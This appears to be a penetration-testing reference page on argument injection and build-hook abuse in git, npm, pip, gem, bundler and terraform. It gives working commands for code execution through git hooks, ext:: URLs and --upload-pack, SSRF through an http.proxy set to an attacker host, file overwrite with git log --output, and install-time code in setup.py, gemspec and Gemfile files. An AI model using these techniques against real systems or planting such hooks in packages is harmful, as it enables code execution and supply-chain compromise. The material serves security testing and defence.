Parameters Injection

git

Abusing bare repositories

You can use bare repositories to deliver custom git hooks and execute arbitrary code. For instance, if the vulnerable code executes the following bash commands:

$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"

You can create a repo with the subproject folder, which is a bare repository with a payload in the post checkout hook:

$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir subproject
$ cd subproject
$ git init --bare
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # commit and push

References:

git-clone

--config

Set a configuration variable in the newly-created repository; this takes effect immediately after the repository is initialized, but before the remote history is fetched or any files checked out.

core.hooksPath

core.hooksPath sets different path to hooks. You can create the post checkout hook within a repository, set the path to hooks with the hooksPath, and execute arbitrary code.

$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # commit and push

To execute the payload, run the git-clone:

$ git clone -c core.hooksPath=hooks "<REPO>"

References:

http.proxy and http.<URL>.proxy

http.proxy or http.<URL>.proxy override the HTTP proxy. You can use this to get SSRF:

$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory

Pay attention to other http.* configs and remote.<name>.proxy, they can help to increase the impact.

References:

ext URLs

git-clone allows shell commands to be specified in ext URLs for remote repositories. For instance, the next example will execute the whoami command to try to connect to a remote repository:

$ git clone 'ext::sh -c whoami% >&2'

References:

<directory>

git-clone allows specifying a new directory to clone into. Cloning into an existing directory is only allowed if the directory is empty. You can use this to write a repo outside a default folder.

$ git clone -- "<REPO>" target_directory

-u/--upload-pack

upload-pack specifies a non-default path for the command run on the other end when the repository to clone from is accessed via ssh. You can execute arbitrary code like this:

$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo

References:

git-grep

--no-index

no-index tells the git-grep to search files in the current directory that is not managed by Git. In other words, if a working directory is different from a repository one no-index allows you to get access to files in the working directiory.

References:

git-log

--output

output definea a specific file to output instead of stdout. You can use this to rewrite arbitrary files.

$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date:   Fri Aug 29 00:00:00 2021 +0000

    Controlled content

References:

git-push

--receive-pack/--exec

receive-pack or exec specifies a path to the git-receive-pack program on the remote end. You can execute arbitrary code like this:

$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# or
$ git push --exec=payload.sh username/repo main
# or
$ git push --receive-pack=payload.sh main

npm scripts

The scripts property of the package.json file supports a number of built-in scripts and their preset life cycle events as well as arbitrary scripts. These all can be executed using npm run-script or npm run for short.

Scripts from dependencies can be run with npm explore <pkg> -- npm run <stage>

Pre and post commands with matching names will be run for those as well (e.g. premyscript, myscript, postmyscript). To create pre or post scripts for any scripts defined in the scripts section of the package.json, simply create another script with a matching name and add pre or post to the beginning of them.

In the following example npm run compress would execute these scripts as described.

{
  "scripts": {
    "precompress": "{{ executes BEFORE the `compress` script }}",
    "compress": "{{ run command to compress files }}",
    "postcompress": "{{ executes AFTER `compress` script }}"
  }
}

There are some special life cycle scripts that happen only in certain situations. These scripts happen in addition to the pre<event>, post<event>, and <event> scripts.

  • prepare (since npm@4.0.0)

    • Runs any time before the package is packed, i.e. during npm publish and npm pack

    • Runs BEFORE the package is packed

    • Runs BEFORE the package is published

    • Runs on local npm install without any arguments

    • Run AFTER prepublish, but BEFORE prepublishOnly

    • NOTE: If a package being installed through git contains a prepare script, its dependencies and devDependencies will be installed, and the prepare script will be run, before the package is packaged and installed

    • As of npm@7 these scripts run in the background. To see the output, run with: --foreground-scripts

  • prepublish (DEPRECATED)

    • Does not run during npm publish, but does run during npm ci and npm install

  • prepublishOnly

    • Runs BEFORE the package is prepared and packed, ONLY on npm publish

  • prepack

    • Runs BEFORE a tarball is packed (on npm pack, npm publish, and when installing a git dependencies)

    • NOTE: npm run pack is NOT the same as npm pack. npm run pack is an arbitrary user defined script name, where as, npm pack is a CLI defined command

  • postpack

    • Runs AFTER the tarball has been generated but before it is moved to its final destination (if at all, publish does not save the tarball locally)

npm cache add

npm cache add runs the following life cycle scripts:

  • prepare

npm ci

npm ci runs the following life cycle scripts:

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

These all run after the actual installation of modules into node_modules, in order, with no internal actions happening in between.

npm diff

npm diff runs the following life cycle scripts:

  • prepare

npm install

npm install runs the following life cycle scripts (also run when you run npm install -g <pkg-name>):

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

If there is a binding.gyp file in the root of a package and install or preinstall scripts were not defined, npm will default the install command to compile using node-gyp via node-gyp rebuild.

npm pack

npm pack runs the following life cycle scripts:

  • prepack

  • prepare

  • postpack

npm publish

npm publish runs the following life cycle scripts:

  • prepublishOnly

  • prepack

  • prepare

  • postpack

  • publish

  • postpublish

prepare will not run during --dry-run

npm rebuild

npm rebuild runs the following life cycle scripts:

  • preinstall

  • install

  • postinstall

  • prepare

prepare is only run if the current directory is a symlink (e.g. with linked packages)

npm restart

npm restart runs a restart script if it was defined, otherwise stop and start are both run if present, including their pre and post iterations):

  • prerestart

  • restart

  • postrestart

npm start

npm start runs the following life cycle scripts:

  • prestart

  • start

  • poststart

If there is a server.js file in the root of your package, then npm will default the start command to node server.js. prestart and poststart will still run in this case.

npm stop

npm stop runs the following life cycle scripts:

  • prestop

  • stop

  • poststop

npm test

npm test runs the following life cycle scripts:

  • pretest

  • test

  • posttest

pip

pip install

Extending the setuptools modules allows you to hook almost any pip command. For instance, you can use the install class within setup.py file to execute an arbitrary code during pip install running.

from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # Insert code here
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)

When pip install is run the PostInstallCommand.run method will be invoked.

References:

gem

gem build

gemspec file is a ruby file that defines what is in the gem, who made it, and the version of the gem. Since it is a ruby file you can write arbitrary code that will be executed when running gem build.

# hola.gemspec file

# arbitrary code here
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end

When gem build is run the arbitrary ruby code will be executed.

$ gem build hola.gemspec
hola!
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem

References:

gem install

Extensions

gemspec allows you to define extensions to build when installing a gem. Many gems use extensions to wrap libraries that are written in C with a ruby wrapper. gem uses the extconf.rb to build an extension during installation. Since it is a ruby file you can write arbitrary code that will be executed when running gem install.

# hola.gemspec file

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
# extconf.rb

# arbitrary code here
system('echo "hola!"')
$ gem build hola.gemspec
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem

When gem install is run the arbitrary ruby code will be executed.

$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...

References:

bundler

bundler install

bundler install uses gem under the hood, therefore, it is possible to reuse gem's features for giving a profit.

Gemfile

Gemfile describes the gem dependencies required to execute associated Ruby code. Since it is a ruby file you can write arbitrary code that will be executed when running bundle install.

# Gemfile

# arbitrary code here
system('echo "hola!"')

When bundle install is run the arbitrary ruby code will be executed.

$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.

gem dependency

Since bundler uses gem install to install the specified dependencies in Gemfile you can use extensions to embed an arbitrary code.

# hola.gemspec file

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
# extconf.rb

# arbitrary code here
system('echo "hola!"')
# build and push to rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
# Gemfile

source 'https://rubygems.org'

gem 'hola'

When bundle install is run the arbitrary ruby code will be executed.

$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...

References:

git dependency

One of the sources of gems for bundler are git repositories with a gem's source code. Since a git repositories contains a source code bundler builds it before installing. Therefore, you can write an arbitrary code that will be executed when running bundle install.

You can execute an arbitrary code using both gemspec file and native extensions

Create a repository on github.com with the following hola.gemspec file:

# arbitrary code here
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end

Add the repository to Gemfile as a git dependency.

# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'

When bundle install is run the arbitrary ruby code will be executed.

$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

References:

path dependency

You can specify that a gem is located in a particular location on the file system. Relative paths are resolved relative to the directory containing the Gemfile. Since a git repositories contains a source code bundler builds it before installing. Therefore, you can write an arbitrary code that will be executed when running bundle install.

You can specify that a gem is located in a particular location on the file system. Relative paths are resolved relative to the directory containing the Gemfile.

Similar to the semantics of the :git option, the :path option requires that the directory in question either contains a .gemspec for the gem, or that you specify an explicit version that bundler should use.

Unlike :git, bundler does not compile native extensions for gems specified as paths

Therefore, you can gain code execution using the .gemspec file with an arbitrary code or built gem with native extension.

# Gemfile
# .gemspec file is located in vendor/hola 
gem 'hola', :path => "vendor/hola"
# Gemfile
# vendor/hola contains hola-0.0.0.gem file
gem 'hola', '0.0.0', :path => "vendor/hola"

When bundle install is run the arbitrary ruby code will be executed.

$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

References:

terraform

terraform-plan

Terraform relies on plugins called "providers" to interact with remote systems. Terraform configurations must declare which providers they require, so that Terraform can install and use them.

You can write a custom provider, publish it to the Terraform Registry and add the provider to the Terraform code.

terraform {
  required_providers {
    evil = {
      source  = "evil/evil"
      version = "1.0"
    }
  }
}

provider "evil" {}
$ terraform init
$ terraform plan

The provider will be pulled in during terraform init and when terraform plan is run the arbitrary ruby code will be executed.

Additionally, Terraform offers the external provider which provides a way to interface between Terraform and external programs. Therefore, you to use the external data source to run arbitrary code. The following example from docs executes a python script during terraform plan.

data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # arbitrary map from strings to strings, passed
    # to the external program as the data query.
    id = "abc123"
  }
}

References:

Last updated